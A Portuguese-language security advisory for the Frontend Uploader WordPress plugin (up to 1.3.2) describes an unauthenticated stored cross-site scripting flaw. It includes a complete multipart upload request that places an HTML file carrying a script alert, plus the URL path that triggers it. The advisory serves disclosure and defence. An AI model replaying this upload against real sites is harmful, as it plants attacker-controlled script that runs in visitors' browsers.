
O plugin não impede que arquivos HTML sejam enviados por meio do seu formulário, permitindo que um usuário não autenticado envie um arquivo HTML malicioso contendo JavaScript, por exemplo, que será acionado quando alguém acessar o arquivo diretamente.
Frontend Uploader <= 1.3.2 - Cross-Site Scripting Armazenado sem Autenticação
O plugin não impede o upload de arquivos HTML através do seu formulário, permitindo que um usuário não autenticado envie um arquivo HTML malicioso contendo JavaScript, por exemplo, que será acionado quando alguém acessar o arquivo diretamente.
Em uma página/post onde o shortcode [fu-upload-form] está incorporado, basta enviar um arquivo HTML através do formulário gerado
POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------124662954015823207281179831654
Content-Length: 1396
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="post_ID"
1247
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="post_title"
test
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="post_content"
test
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="files[]"; filename="xss.html"
Content-Type: text/html
<script>alert(/XSS/)</script>
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="action"
upload_ugc
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="form_layout"
image
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="fu_nonce"
021fb612f9
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="_wp_http_referer"
/wordpress/frontend-uploader-form/
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="ff"
92b6cbfa6120e13ff1654e28cef2a271
-----------------------------124662954015823207281179831654
Content-Disposition: form-data; name="form_post_id"
1247
-----------------------------124662954015823207281179831654--
Em seguida, acesse o arquivo enviado para acionar o XSS, ou seja, https://example.com/wp-content/uploads/2021/07/xss.html
https://www.youtube.com/watch?v=lfrLoHl4-Zs